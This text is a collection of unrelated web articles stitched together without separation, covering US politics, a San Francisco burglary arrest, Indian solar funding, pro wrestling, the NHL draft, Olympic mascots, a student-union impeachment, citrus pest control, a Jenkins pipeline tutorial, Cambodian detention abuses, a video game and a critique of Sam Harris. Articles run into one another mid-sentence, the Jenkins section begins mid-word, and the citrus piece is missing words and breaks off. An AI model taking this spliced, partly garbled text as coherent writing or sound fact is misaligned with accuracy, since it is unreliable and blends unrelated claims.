So that brings us to the speculation that Cruz will name his VP choice today, a play that many will see as the ultimate move of desperation to try and steal away momentum from the runaway frontrunner. While the one-man Trump wrecking ball has proven to be a populist hero for the 2016 cycle, it is Cruz who holds the influence within the Republican party.
Consider this: Ted Cruz has 42 GOP party endorsements from Senators, Congressmen, and state Governors. John Kasich has 13 endorsements. And frontrunner Donald Trump, who as of this morning has 3.2 million more popular votes than Cruz, sits on a paltry and truly inconsequential 12 endorsements.
One option for Cruz that has been widely rumored would be a partnership with former candidate Carly Fiorina, who has supported the Cruz campaign since March 9th. Cruz has been highly complimentary of Fiorina on the campaign trail, and yesterday the former Hewlett Packard CEO cryptically Tweeted with the header, “Why I’ll continue to serve:”
Why I’ll continue to serve: pic.twitter.com/5Rj2hMW7Hx — Carly Fiorina (@CarlyFiorina) April 26, 2016
Fiorina has never held political office, after one stalled 2010 Senate campaign against Barbara Boxer in California. Many would consider Fiorina to be a smart choice; her campaign chops were on full display in the fall, and her impressive debate performances were enough to raise her notoriety and become a more seriously-considered contender for the nomination. A Cruz-Fiorina ticket would truly wear the ‘outsider’ label, likely bashing the Beltway politics-as-usual process and continuing their best to derail the frontrunner.
Donald Trump has already commented on the possibility of a Fiorina announcement, saying this morning, “[Fiorina] went up, then she dropped like a rock and never resonated with the people. So, I mean, Carly is not going to do the trick.”
If Fiorina is not the choice for the Cruz campaign, the attention then shifts to his pool of party endorsements; several big names in conservative politics have aligned themselves with the Cruz camp, including South Carolina Governor Nikki Haley and Utah Governor Gary Herbert. Haley called Cruz “solid and strong” after her initial candidate of choice — Florida Senator Marco Rubio — ended his own bid for the White House in March.
Speaking of Rubio… the popular former candidate had locked down 67 party endorsements himself, only a percentage of which have declared allegiances to a new candidate (mostly to Cruz). Rubio has been largely quiet on social media in the weeks since suspending his campaign, and many have opined that the young Florida Senator would make for an excellent Vice Presidential pick.
Other notable supporters of Cruz’s include Congressman Louie Gohmert (R-Texas), Scott Walker (R-WI) and, hilariously and begrudgingly, Lindsey Graham from South Carolina. Another one of Cruz’s supporters is Mia Love, the first African-American female elected to Congress in the state of Utah.
If Ted Cruz does name a potential running mate this afternoon prior to a nomination, it wouldn’t be the first time; Ronald Reagan famously tried the same maneuver in 1976 ahead of the convention that proved unsuccessful. Reagan, looking to challenge sitting President Gerald Ford for his own party’s nomination that year, put up a staunch fight and named Pennsylvania Republican Richard S. Schweiker as his potential VP. And just like Cruz in 2016, the play was a move of desperation. As David Marston, former counsel to Schweiker, once said of the Reagan announcement, “[L]et’s face it. Reagan was behind Ford in delegates and needed to throw a ‘Hail Mary’ pass to keep any chance he had of nomination alive.”
Indeed, seeing Carly Fiorina take the stage in Indiana this afternoon would certainly make for a ‘Hail Mary’ to stop the Trump camp from reaching the necessary 1,237 delegates. While the Texas Senator licks his wounds from another primary night beat-down, a strong declaration of a Cruz/fill-in-candidate-of-choice-here ticket may just be the move of exigency that the Republican party needs to avoid an unimaginable fate.
—
J.D. Durkin (@jiveDurkey) is a columnist at Mediaite
[images via Wikipedia Commons]
This is an opinion piece. The views expressed in this article are those of just the author.SAN FRANCISCO, CA —San Francisco police arrested a man last week on suspicion of stealing from multiple homes and businesses in the city, police said.
Officers arrested Herman Canada, 44, of San Francisco, after they spotted him at 5:41 p.m. on March 18 in the 2000 block of Mission Street. He was arrested without a struggle and taken to the county jail.
Images from surveillance cameras helped officers identify Canada as a suspect.
He is a suspect in burglaries on Montgomery Street, Pine Street, Brannan Street and Rodgers Street.
Canada is also suspected of stealing from a property on Howard Street and a property on Fourth Street.
Police said the burglaries occurred during the nighttime.
Canada has been convicted of other offenses such as possession of stolen property, grand theft and burglary, according to police.
The investigation in to the case is ongoing. Anyone with information about the burglaries is asked to call the Police Department's tip line at (415) 575-4444 or to text a tip to TIP411 and start the message with
"SFPD."
— Bay City News; Image via SFPDGovernment is in the process of setting up a Rs 1,500-crore fund to avoid delays in releasing viability gap funding (VGF) to solar power developers under the Jawaharlal Nehru National Solar Mission (JNNSM). “State-run Solar Energy Corporation of India (SECI) will set up a Rs 1,500 crore payment security mechanism (PSM) to ensure timely payment of VGF to the developers of solar power capacities under the JNNSM,” a senior official said.
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The official further said, “This fund will have a corpus to cover three months payment for the various VGF schemes approved by Ministry of New & Renewable Energy (MNRE) from time to time.” The fund is significant as the government has set the target of adding 100GW of solar power by 2022.
The fund will also cover delays/defaults in payments to SECI by entities (discoms/state utilities/bulk consumers), so that timely payment to developers could be ensured. It will provide support to SECI to meet financial implications on account of regulatory/policy/legal/evacuation/ open access requirements, not foreseen at the time of approval of the schemes as well as difficulties arising during implementation of power purchase agreement or power service agreement or VGF securitisation.
SECI will open a separate flexi bank account to create and operate the fund. It will also be responsible to make the payments within scheduled timeframe as per the power purchase agreement. Government introduced VGF mechanism while implementing JNNSM Phase II, wherein solar projects developers are selected through transparent competitive process to supply power at a pre-determined tariff.
First scheme under VGF mode for 750 MW capacity has already been implemented. The ministry implemented second scheme for setting up of 2000 MW of grid connected solar PV projects in August last year. Another scheme for 5000 MW through VGF support was sanctioned in February this year.
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Besides these schemes, the ministry has also sanctioned several other schemes under VGF mode like solarisation of Indo-Pak Border and special scheme for high visibility areas. The fund will also cover other solar energy schemes approved by the Ministry in coming days.Samoa Joe stuns the NXT Universe by defeating The Demon and capturing the NXT Title at a Live Event in Lowell, Massachusetts on Thursday night.
LOWELL, Mass. — Samoa Joe defeated Finn Bálor to capture the NXT Championship at a Live Event Thursday night in Lowell, Massachusetts, WWE.com has confirmed.
Joe’s victory put an end to Bálor’s record-breaking reign as NXT Champion. The Demon won the title on July 4, 2015, and held it for 292 days, surpassing the mark set by Neville in 2014.
See photos from Samoa Joe's NXT Title victory over Finn Bálor.
Now that Samoa Joe has finally snared NXT’s top prize, what will the destroyer have in store for anyone who dares to step up and challenge him? How will Finn Bálor handle this setback? Find out by tuning into NXT, Wednesdays at 8/7 C, only on WWE Network, and stick with WWE.com for complete coverage of this developing story, including photos and video.WASHINGTON, DC–Last week Congresswoman Tulsi Gabbard (D-Hawaii) celebrated her re-election to US House of Representatives and was sworn into session. She took her oath of office on the Bhagavad Gita once again.
After the ceremony, family, friends, and supporters gathered together and visited Rep. Gabbard and congratulated her.
“Tulsi shared how the Bhagavad Gita continues to serve as an inspiration in her life, and how grateful she is to the people of Hawaii for allowing her to continue to serve in Congress,” said a statement from her office.
Separately, sealing a historic breakthrough for Indian-Americans, five were sworn-in on earlier this month as members of the US Congress — one of them, Kamala Harris, becoming the first to become a Senator. Ami Bera, who was the only Indian-American in the 435-member House of Representatives and re-elected in the November elections, was joined by the four others, increasing the Indian-American contingent to five members in the Congress. All five are Democrats and three of them — Harris, Bera and Representative Ro Khanna — are from California. The other two Representatives are Raja Krishnamoorthi from Illinois and Pramila Jayapal from Washington state.
Rep. Gabbard spent her life growing up in Hawai‘i. As a teenager, she co-founded an environmental non-profit called Healthy Hawai’i Coalition, focused on educating children about protecting Hawaii’s environment, according to her official biography.
An advocate for environmental policy, Rep. Gabbard was elected to the Hawai‘i State Legislature in 2002 when she was just 21 years old, becoming the youngest person ever elected in the state. A year later, she joined the Hawai‘i Army National Guard to serve Hawai‘i and our country. In 2004, Tulsi volunteered to deploy with her fellow soldiers, becoming the first state official to voluntarily step down from public office to serve in a war zone.
In 2012, she was elected to the United States House of Representatives, serving Hawaii’s 2nd District. She is one of the first two female combat veterans to ever serve in the U.S. Congress, and also its first Hindu member.Note: NHL.com will take a look back at the NHL drafts from five, 10 and 15 years ago this week leading up to the 2012 NHL Draft in Pittsburgh. How would a redux of those drafts look today?
The 2007 draft was the beginning of an American revolution of sorts -- U.S. kids went 1-2 in the draft for the first time and a record 10 went in the first round, a number that was matched the following year.
Another storyline on draft day was the fall of two prominent prospects. Angelo Esposito was considered the top player in this draft class as a 16-year-old, but his stock fell and he ended up at No. 20 to Pittsburgh. Alexei Cherepanov was the top-rated European prospect and another contender for the No. 1 spot, and he dropped to the New York Rangers at No. 17.
NHL DRAFT REDUX Nash, Keith highlight 2002 draft class
Five years later, Patrick Kane is the undisputed top player from the Class of 2007. Choosing the guy who would go No. 2 could be an interesting discussion, but San Jose's Logan Couture has a pretty strong case.
This draft has not produced a lot of impact players to this point, and there are tiered drop-offs right around the Nos. 10 and 20 picks.
Another theme from this draft -- it was a black hole at goaltender. Granted, it is only five years out and it is a position that takes a long time to develop, but the goalies from the 2007 NHL Draft have combined to play in 12 NHL games -- Allen York had 11 for Columbus this past season and Timo Pielmeier played one for Anaheim in 2010-11.
As a reminder after completing this exercise last June, this draft re-do does involve a fair amount of projection. A lot of these players are not fully developed yet, and this list could look dramatically different two years or five years from now. Looking back at the 2002 and 1997 drafts in the coming days will involve a lot less projection.
So, here's what the 2007 NHL Draft might look like if there was a do-over in June 2012:The 2012 Summer Olympics in London, with the opening ceremony less than three months away, will be the 30th time the Modern Olympic games are held since 1896 in Athens and the third time in England’s capital, after previously behind the host in 1948 and 1908.
For the 11th time, the games will have an Olympic Mascot, or two mascots to be exact. Like in the United States and later on in Greece, the mascots do not represent an animal of national importance but rather drops of steel with eyes, named for places in the United Kingdom.
Munich 1972 – Waldi
Waldi was the first ever official Olympic mascot. A dachshund, a popular dog breed in Bavaria, supposed to represent the traits desired from athletes – resistance, tenacity and agility. He was modeled after a real life dog, Cherie von Birkenhof. The colors represent the ‘Rainbow Games’ and exclude red and black because of their association with National Socialists Party. Over 7000 athletes from 124 nations took part in the Olympic games, overshadowed by the Munich Massacre.
Montreal 1976 – Amik
Amik is a beaver. The name came from the Anishinaabe language, with amik literally meaning beaver. The beaver was chosen because it represents hard work and its Canadian nativity. The games in Montreal were boycotted by 28 nations, mostly due to the refusal of the IOC to ban New Zealand for touring Apartheid South Africa with is Rugby Union team that year.
Moscow 1980 – Misha
Misha, Mishka or The Olympic Mishka. The Mascot of the 1980 Olympics was a Russian Bear, a national symbol of the Soviet Union. It was probably the first time a Mascot of a sporting event achieved huge commercial success as merchandise. Following the United States boycott, 65 countries did not participate in these Summer Olympics.
Los Angeles 1984 – Sam
The United States waited four yeas to roll out their own national symbol, a Bald Eagle. Sixteen nations boycotted the LA Olympic games, 14 in the Soviet Union led boycott and two more, Iran and Libya, due to their own political reasons. Iran boycotted both the 1980 and 1984 Olympic games.
Seoul 1988 – Hodori
Hodori wasn’t the only Mascot of the 1988 Olympic games in Seoul, but his female counterpart, Hosuni, was scarcely used. A tiger cub, portraying the friendliness and hospitality of the Korean people. Due to no major block boycotts, a record number of 160 nation took part in the Seoul Olympics, although North Korea and its allies – Albania, Cuba, Madagascar and Seychelles did boycott the games.
Barcelona 1992 – Cobi
Cobi of Barcelona was designed after the Catalan Sheepdog that Picasso drew, inspired by an earlier Velasquez painting. His name was derived from the Barcelona Olympic Organising Committee, and starred in commercials for Coca Cola among others, even getting his own animated TV Show. A record of 169 nations took part in the 1992 Summer Olympics.
Atlanta 1996 – Izzy
For the first time, the Olympic Mascot for the 1996 games in Atlanta did not represent a significant animal or human being from the host nation. Izzy was a computer animated character, able to morph into different forms. The character was very unpopular, receiving nicknames like ‘The Sperm in Sneakers.’ There were 197 participating nations in Atlanta, with over 10,000 athletes playing their part.
Sydney 2000 – Syd, Olly and Millie
Olly the Kookaburra, representing the Olympic spirit of generosity; Syd the Platypus representing environment and the energy of the Australian people; Millie the Echdina, representing the Millennium. There were exactly 200 participating nations, represented by 10,651 athletes.
Athens 2004 – Athena & Phevos
Athena and Phevos were brother and sister, representing ancient Greece, inspired by an ancient Greek doll. They were named after the Greek gods Athena and Apollo. As usual, there were those that the modern representation of the religious artifacts was a crime, seeking legal action against the organizers. Over 10,000 athletes from 201 nations participated in the Athens Olympics.
Beijing 2008 – Beibei, Jingjing, Huanhuan, Yingying, Nini
Keeping up with the recent trends, the Chinese overdid everyone by giving the world five mascots – The five Fuwa, each representing a color of the Olympic rings. The five names formed a phrase in Chinese, meaning Beijing welcomes you. Beijing welcomed 11,028 athletes from 204 nations.
London 2012 – Wenlock & Mandeville
Wenlock and Mandeville, drops of steel with cameras for eyes, are each named for an historic UK venue regarding the Olympic games. Wenlock for the village of Much Wenlock which hosted a precursor to the modern Olympic games in the 19th century. Mandeville for Stoke Mandeville, where the first Paralympic Games were held in 1948.The petition to impeach UCDSU President Katie Ascough will be resubmitted to Returning Officer Stephen Devine on Monday morning. The petition which calls for the impeachment of Ms Ascough following her decision to remove information on how to procure an abortion from the fresher’s handbook “Winging It” in September. The reprint is estimated to have cost the SU approximately €7,000. It is currently illegal to provide information on how to procure an abortion in Ireland and fines of up to €1,900 can be imposed on anyone who provides this information.
The initial petition that was handed into the Returning Officer on Monday was rejected as it did not have any signatures rather just names, student numbers and course. According to article 6.5 of the Constitution “In the case of a referendum by petition, each petitioner must sign the referendum petition underneath, at the end of, or on a sheet attached to, an exact copy of the wording of the proposed referendum and provide their name, programme, stage and student number”. A petition which doesn’t meet these requirements is therefore invalid.
The group “Impeach UCDSU President” restarted the petition on Wednesday and gained the 835 required signatures by the end of the day. They continued petitioning on Thursday morning and acquired a total of 1,200 signatures, more than Ms Ascough received in first preference votes during her election. In a Facebook post the group acknowledged the setback of having to restart the petition saying “This issue of re-petitioning has occurred with several successful referenda in UCD in the past so we are quite hopeful about the progress of this campaign!”
The Returning Officer was not on campus today and the group said in another Facebook post on Thursday evenning “We once again hit the necessary number to initiate a referendum on our first day of collecting signatures, and today reached more signatures than the UCDSU President received votes! This supports our belief that there is a strong mandate to impeach the SU President as UCD students feel deeply betrayed by her actions. The Returning Officer was not on campus today so we will be submitting the petition tomorrow morning, and hopefully a referendum will be called on Monday morning!”
The group has received backlash about the petition from both inside and outside UCD. One post on the page describes the group as “A group of little liberal college shits who preach about tolerance and diversity but have a fascistic intolerance towards those with differing viewpoints”. Speaking to the Tribune about the backlash, Amy Crean, a member of the group said “I think there’s been a very common misconception floating around right now about what exactly a democracy is and what an impeachment is. This is the procedure for impeachment, you gather this many signatures, you hand it in and you call for a referendum. So when I called for an impeachment, people are saying that was to do with personal beliefs, it was to do with even the way her personal beliefs affected her campaign and the fact that she hid them and the fact she stated that she would be neutral on it but also do X. We have student support, that’s democracy, it’s not in any way a witch-hunt and I’m genuinely very, very upset that it’s being framed as such because to bully someone especially over personal views is prejudicial. Prejudice is exactly what we’re standing against, prejudice has been brought into this union and we don’t want it there.”
If the petition is accepted, it’s expected that a referendum will be called by next Monday and that the referendum would take place sometime towards the end of October. If the referendum is called, Ms Ascough will have to take a leave of absence during the campaign with Campaigns and Communications Officer Barry Murphy taking over the role of President during this time.
Rachel O’Neill – EditorScientists Release Natural Enemy of Asian Citrus Psyllid Parasitic wasps, released for the first time in California, could help protect state’s citrus industry
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Enlarge Parasitic wasps, about 1/16th of an inch each, were released from glass vials onto citrus leaves. Photo credit: UCR Strategic Communications. (More photos below.)
RIVERSIDE, Calif. – University of California, Riverside scientists released a natural enemy of the Asian citrus psyllid (ACP) this morning on campus to help control the spread of the psyllid, an invasive pest that could devastate the state’s $1.1 billion citrus industry and citrus trees in home landscapes. This is the first time the psyllid’s natural enemy has been released in California.UC Riverside Executive Vice Chancellor Dallas Rabenstein and Mark Hoddle, the director of the Center for Invasive Species Research, released– tiny, stingless parasitic wasps that lay eggs in ACP nymphs – in a citrus grove near the UCR Botanic Gardens. A total of 281 wasps (95 males and 186 females) were released.Over the next several years, UCR and California Department of Agriculture Food and Agriculture (CDFA) scientists will raise thousands offor release throughout California. Thelarvae will eat the ACP nymphs, killing them, and emerge as adults about 12 days later. Adult femalealso eat other ACP nymphs, killing many in the process.“This release of 281is the first salvo against ACP in California,” Hoddle said. “We anticipate that over the next year or so thousands of these parasitoids from Pakistan will be released throughout Los Angeles, Riverside and San Bernardino counties and other areas as the pest continues to spread. Onceestablishes, it will move and find new populations of ACP to attack and kill |
ages
Stages allow to group job steps into different parts and they are the main components of a pipeline. The new job visualisation makes this aspect even more clear:
It is easy to see the duration of a single stage in a pipeline, for multiple job runs.
Also, in case of error in one of the stages, that one is immediately highlighted and the following stages are not executed.
To define a set of stages we proceed as following:
stage "Checkout" // get project source code from SCM stage "Build" // run the project-specific build script Stage "Tests" // if the build was successful, run all the tests
Steps
Inside a stage it is possible to add several steps, like it was possible to do for traditional freestyle jobs. Jenkins pipelines support any build step from the installed plugins in the Jenkins environment.
For example, if we want our CI to change the status of the build to stable or unstable depending on the result of Findbugs static analysis, we can use the following step:
step([$class : 'FindBugsPublisher', canComputeNew : false, pattern : '**/findbugs/*.xml', unstableTotalHigh : '0' unstableTotalNormal: '5', unstableTotalLow : '10'] )
Scripts
It is also possible to specify shell (or batch) scripts to be executed in a pipeline.
For example we can run gradle tasks for the current project using
sh "./gradlew clean build"
Parallel execution
Pipeline plugin supports the parallel execution of commands, by creating a map of parallel branches and commands:
def branches = [:] branches["Branch 1"] = { node() { unstash name: 'workspace' // do something with the project files } } branches["Branch 2"] = { node() { unstash name: 'workspace' // do something else with the project files } } parallel branches
The first problem with parallel execution is that it is not possible to define stages inside a parallel branch, so it won’t be possible to have a graphical representation of the status of a single branch.
The second and bigger problem is related to performance: we executed some benchmark, and we found that having serial execution takes less time than having the same steps executed in a parallel way. This is probably due to the extra time needed to copy the workspace files between two nodes.
Pipeline job
To create a new pipeline the first step is to create a new Pipeline Job. To do so, from the main Jenkins screen select “New Item”, specify a job name and then “Pipeline”.
In the following configuration page, the first three sections are the same as for a traditional Jenkins job (General, Build Triggers and Advanced Project Options).
What really changes is the new Pipeline section, where we can choose between two options in order to define the job pipeline: using the inline editor or loading the pipeline from a versioned file.
Inline editor
Using the inline editor allows to quickly test a new job configuration by editing the pipeline script in a text field, saving the configuration and running the job.
Versioned pipeline
As soon as pipelines grow, it would be difficult to maintain them only using the text area present in the Jenkins job configuration page. A better option is to store them in specific files versioned within your project repository. Doing so all the changes to the job configuration will be versioned and could be easily updated using a script (think about a sprint automatically lowering static analysis thresholds after every release, for example).
In this case we won't have the option to type the pipeline content directly in the configuration page, but we will need to specify the repository parameters for the job and the path of the file containing the pipeline definition inside the repository itself.
Snippet generator
In order to better learn the pipelines DSL, an online snippet generator is provided along with the Pipeline Plugin. This generator allows to create snippets of code for practically all the steps available within a pipeline. More interestingly, it is aware of the Jenkins environment and then it will provide some error checking and additional steps depending on the installed plugins.
As we can see in the following image, the snippet generator integrates with existing builds steps, allowing a configuration similar to the one we are used to for traditional Jenkins jobs.
No pull request builder :(
What described so far is great for a pipeline used to build the main branch of a repository projects, but what if we want to check our changes even before these get merged?
At Novoda we use pull requests in order to have manual review of every change (if you don’t know what pull requests are, have a look at this page and start using them in your team NOW). Apart from a manual review by our peers, we use the Github Pull Request Builder plugin in most of our projects. This allow us to have our CI performing the same checks and tests that would be run on the main branch, even before the pull request is merged. More importantly, it will notify us posting the result of those checks on the pull request page.
Now, this is beautiful, but there is a small problem: the Github Pull Request Builder plugin is not compatible with the Pipeline one, so it is not possible to use the two to automatically trigger a pipeline when a new pull request is opened or updated.
Luckily there is an alternative to that which allows us to keep using pipelines with a pull requests-based flow.
Multibranch pipelines
A multibranch pipeline job will execute a given pipeline on multiple branches of a repository automatically creating a secondary job for every branch.
In order for the job to correctly integrate with Github we need to use the Github plugin, when specifying the project source, using as credentials the ones of a Github user with admin access on the repo.
Using Github webhooks, every time a change is pushed to the repository the plugin will scan the configured repository for branches containing a file named Jenkinsfile in the repository root directory. By default all the branches will be checked, but it is possible to apply filters in the job configuration.
For every branch containing such file, a subproject will be automatically created. It will not be possible to edit these projects configuration, but it’s enough to say that when run they will execute the pipeline defined in the Jenkinsfile. Once the branch will be deleted from the repository, the related job will be automatically removed.
For every change pushed to the repository, the parent project will trigger a build for the subproject related to the modified branch.
In case of a pull request opened in Github, the status of the build for the modified branch is displayed on the pull request page and it is updated after subsequent commits.
As it easy to see, this strategy will force the CI to work more, running a job every time a changed is pushed compared to doing it only when a pull request is open. This however has the big advantage of allowing us developers to be always aware of the status of the branch we are working against. It will also speed up the review of pull requests: once one is opened, the status will be immediately available, compared with the Pull Request Builder which asked us to wait for the build to complete after the pull request was opened to be able to know the status.
Conclusions
What we liked
job configuration in version control
stages visualisation
automatic multi-branch jobs creation
inline editor and snippet generator for fast test of new pipelines
extensible DSL
What we didn't like
no clear parallel execution visualisation
no Github Pull Request Builder compatibility
missing visualisation for several static analysis tools results
Pipelines provide new power and flexibility to our Jenkins CI configuration. and it is really easy to migrate existing jobs to new ones using the pipelines system.
Multi-branch jobs provide great visibility over the status of a work-in-progress branch, and having pipelines defined in a versioned file allows us to easily find who changed what and why, making the history of changes to code readily apparent.
Finally, the DSL used to defined pipelines is also extensible, allowing us to define new custom steps, in order to better specify all the steps our CI might need to execute.
Unfortunately there still are several plugin that aren't entirely compatible with the pipelines plugin, for example the Pull Request Builder one and some static analysis visualisations. Luckily there seems to be a good effort in updating not-yet-compatible plugins, so these problems should be solved soon.
For more information please have a look at the official documentation.IN EERIE, deserted silence on the outskirts of Phnom Penh sits the Prey Speu detention centre. Barely legible on its grimy walls a few weeks ago were cries for help and whispers of despair from the tormented souls once crammed into its grimy cells. “This is to mark that I lived in terror under oppression,” read one message.
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Ryan Plummer
It recalls a Khmer Rouge torture centre from the genocidal 1970s. But in fact the building was used just last year as a “rehabilitation” centre, where detained sex-workers, along with beggars and the homeless, learnt sewing and cooking. They were rounded up in a crackdown on trafficking for the sex industry. At first an attempt to clean up Phnom Penh, it soon escalated into a violent campaign by the police against prostitutes and those living on the street. According to Licadho, a local human-rights group, guards at the centre beat three people to death, and at least five detainees killed themselves. Sreymoa, a trafficked sex-worker, detained in May 2008 with her four-year-old daughter, recalls daily beatings, rapes and one death.
Partly to allay the previous American administration's concerns about trafficking, Cambodia in February 2008 outlawed prostitution. Three months later the State Department took Cambodia off its annual “watch-list” of human-trafficking countries. But the police read the law as entitling them to lock up all sex-workers, not help victims of trafficking.
Reports of abuses soon surfaced, at first denied by the government. But in August it halted the raids as the United Nations and NGOs expressed mounting concern. One worry was that they would endanger HIV/AIDS-prevention programmes. The prevalence of HIV in Cambodia had fallen to 0.8% of the population since the government adopted a campaign in 2001 for “100% condom” use. Now, however, fearing the brothels where they worked would be raided, many sex-workers had started plying their trade on the streets or in karaoke bars, where health-care workers could not find them to distribute condoms.
Tony Lisle, of the UN's AIDS organisation, says that since the raids stopped, HIV-prevention efforts have resumed with more success. Sex-workers in bars as well as brothels are to be covered, and the police to be encouraged to teach sex-workers about condom use. But those campaigning for sex-workers' rights have objected, fearing that this might give the police a pretext to renew the raids. Jason Barber of Licadho says that for years the government has stopped arbitrary detentions when a fuss has been made, only to restart them as soon as attention has shifted.
Indeed, just before a regional summit in Phnom Penh in late May, the police again herded up beggars, sex-workers and drug-users, and sent them back to Prey Speu, newly reopened (with the graffiti painted over). Detaining sex-workers is much easier than arresting the traffickers. But the global slowdown is adding to the ranks of the unemployed. The World Bank forecasts that 200,000 Cambodians will fall below the poverty line this year. Many will fall into prostitution or beggary, whatever the law says and high-minded donors hope.Xenoblade Chronicles X Will Have Different Battle Dialogue Depending On Your Avatar
By Ishaan. March 10, 2015. 2:01pm
Last Friday, Monolith Soft showed off Xenoblade Chronicles X’s battle system. This week, director Koh Kojima took to Twitter to post another little tidbit of info as a follow-up to the battle system presentation.
The tweet is to do with the game’s “Soul Voice” system, which you can read all about here. The gist of it is that, during battles, your party members will ask you to perform certain attacks in coordination with them, and if you do so, you’ll get certain bonuses such as additional healing of an increase in power. Conversely, you can issue Soul Voice commands to your teammates and ask them to do the same.
“Soul Voice, which was expensively presented in the battle compilation video, allows you to enjoy a lively battles, building upon Xenoblade Chronicles,” Kojima tweeted. “It was hard work thinking up personalized lines for the 20 possible avatar voices and the set sub-characters—not to mention the huge amount of voice-recording it led to.”
“Yes,” Kojima added,” depending on the avatar, the Soul Voice dialogue changes.”
Kojima is referring to the fact that Xenoblade Chronicles X has an extensive avatar customization system, and that you’ll get to select from a broad range of voices while creating your avatar as well. You can view some of the character customization options in this video.
Xenoblade Chronicles X will be released in Japan on April 29th. North America and Europe will see the game sometime later this year.CN: Transantagonism
There used to be a time I clung to books like The God Delusion and The End of Faith as gospel. I would listen to debates involving Christopher Hitchens with fanatic glee, and parrot points Sam Harris made in interviews during my online disputes over the existence of god. I regarded the words of these three men in *particular as essential antitheist canon in my war against religion.
That said, I also used to sing in the church choir and believe in ghosts.
A few weeks ago, Sam Harris interviewed neoconservative author Douglas Murray on his Waking Up podcast. In this episode titled “On the Maintenance of Civilization,” I stumbled across several red flags.
While I still respect some of Harris’ opinions about theistic religious traditions, I don’t support many of his stances concerning political and social issues. And though his views on Islam is often eerily similar to statements made by conservative ideologue Michelle Malkin[1][2][3], there’s a specific matter I want to focus on apart from his lofty anti-Muslim bigotry and specious appeals to regressive liberalism.
I’ll skip over the part (26:00-27:00) where he bizarrely conflates concern for racialized scrutiny of Muslims and Muslim-presenting people with apologetics for Islamism. I’ll also skip over the part (27:00-30:00) where he and his guest share a chummy exchange referring to students who seek safe spaces as narcissists, moral and psychological invalids, and useless (for context on this issue, see here and here). The issue I found particularly disgusting was what followed after the 30-minute mark when Murray began saying,
“This whole thing of the weirdo, sexual obsession, transgender, trans-poly-gender, identify cis, ‘I’ve gotta penis but I can still win Glamour Women of the Year award. Not only do you have to respect me as a woman, if you say I’m not an entire woman despite the fact I’ve got a penis still, you’re a bigot.’”
Murray continues making disparaging remarks about Caitlyn Jenner and wrongly asserting that people are of the belief that if one doesn’t find Caitlyn attractive that they’re a bigot as well. He then suggests these are the kinds of issues we’ll be dealing with when we’re attacked by Islamists.
Yes, because we totally can’t challenge specific forms of discrimination and oppression (e.g., **transantagonism) that marginalize groups of people for fear of it interfering with counterintelligence and counterterrorism efforts.
Throughout Murray’s cissexist rambling tirade about trans and genderqueer people, Harris…giggled, even outright laughed in some spots. Further, when his guest finally finished his verbal onslaught that declared having to recognize the humanity of those who don’t conform to gender norms and stereotypes as “a breakdown of our society,” Harris had only one reply: “That’s hilarious.”
That wasn’t the last of this dismissive commentary, and I implore everyone to listen for themselves as Murray went on to state ideas such as homophobia, transphobia, and Islamophobia are a part of a political agenda concocted to enforce what he imagines to be the social tyranny of political correctness. Unsurprisingly, Harris agreed with this assessment, even referring to it as anti-intellectualism.
Meanwhile, in the real world, a congressional task force was launched in response to what’s been termed an “epidemic of violence against the transgender community.” At least 23 trans women have been murdered this year that we know of. But sure, transantagonism isn’t a thing because someone who doesn’t personally experience the social context of intolerance, ignorance, indignities, and ostracism declares it so. And Harris gives a tacit nod to all this.
Even once he posted an addendum to the podcast to clarify points people took him to task for (to him, they were all mistaken, which is his typical go-to response to any criticism)—there wasn’t a single word on Murray’s odious rhetoric or his own position concerning transgender and genderqueer issues.
Someone who objects to what Murray said about trans people and gender nonconformity would have spoken up. Someone who is at least hesitant and uncomfortable with what was said would have made an attempt, however marginal, to distance themselves from those pitiful comments. Harris laughed, moved onto other subjects without flinching, and hasn’t mentioned the problematic commentary since.
For those who aren’t preoccupied with admiring every word that falls out of Sam Harris’ mouth and are familiar with the way privilege dynamics work, it really isn’t all that surprising. Sam Harris benefits from social class, white, straight, cis, and male privilege. Murray’s in a similar boat, the only difference being he’s openly gay.
Privilege refers to the myriad of social advantages and benefits associated with being a part of an in-group. Said benefits exist, whether or not one has earned them or consciously vied for them. Almost universally, privilege is something bestowed upon someone without them having any say in the matter. Thus, when announcing the existence of privilege, it isn’t about shaming anyone or pointing an accusatory finger. It’s about raising awareness and deflating inequality.
Privilege is insidious in the way it obstructs our judgment. Because people like Murray and Harris aren’t subjected to the frequent messages and mistreatment certain marginalized groups undergo on a daily basis, they are utterly detached from those experiences. This is how white people are inclined to deny racism and white supremacy exists and see no problem with cultural appropriation (e.g., the Yale situation cited earlier). This is what motivates men to heckle mentions of patriarchy and the ways patriarchal beliefs and behaviors degrade women. And this is why Murray had no difficulty denigrating trans and genderqueer people. It’s also why Harris saw no reason to speak up.
I can hear the horde of Harris-acolytes heading for the comment section now shrieking, “But Sam Harris didn’t make the comments! You’re just assuming! Reason and logic, reason and logic!”
Yeah, three words: Silence is complicity. If you’re in the presence of unjust words or actions and you choose to say or do nothing whatsoever that conflicts with the revealed prejudice, you have sided with the wrongdoing. Thoughts mean nothing in these situations if you do not act in some way to oppose the injustice.
This is why Ginetta Sagan (human rights activist) said, “Silence in the face of injustice is complicity with the oppressor.” This is why Elie Wiesel (political activist) said, “Neutrality helps the oppressor, never the victim. Silence encourages the tormentor, never the tormented.” This is why Albert Einstein (theoretical physicist) said, “If I were to remain silent, I’d be guilty of complicity.” This is why Dr. Martin Luther King Jr. (social justice activist) said, “A time comes when silence is betrayal.”
Why else are U.S. citizens so concerned with all Muslims condemning acts of terror committed by a small fraction of Muslims who embrace radicalism? Because they are of the belief that if you don’t speak up you are complicit. Ironically, those same people are generally silent when it comes to recurring acts of domestic terrorism committed by non-Muslim whites who share beliefs with a huge chunk of this society.
But I digress.
Nobody is above criticism. Certainly not me. Not the Pope, not the President, not the god hypothesis. Not even Sam Harris. There are many things I disagree with Harris about, but most of those issues I think he strongly believes are necessary to combat harmful religious beliefs, protect this country, and make a more peaceful world. So be it. I highlight the trans and genderqueer issue because what was stated was harmful, incredibly mean-spirited, and a gross misunderstanding of the subjects talked about.
Harris’ muteness, as well as Murray’s (also an atheist) expressed contempt, reflects the general tenor of “mainstream” atheist attitudes. There are widely accepted views in our culture, as well as the subculture of the atheist community, that preference certain issues over others. This leads to a continuation of diminishing the importance of confronting interpersonal and systemic inequalities.
Vocal atheists tend to contend with religiosity adversely affecting legislation and abstract debates over invisible, intangible, and inaudible god entities. At the same time, there’s a continued trend of unconcern for social issues that affect minority groups. There’s a firm belief that “religion poisons everything,” and that if religion (a generalized, non-nuanced view of religious belief) is dismantled, that would somehow alleviate most or even all of our social ills.
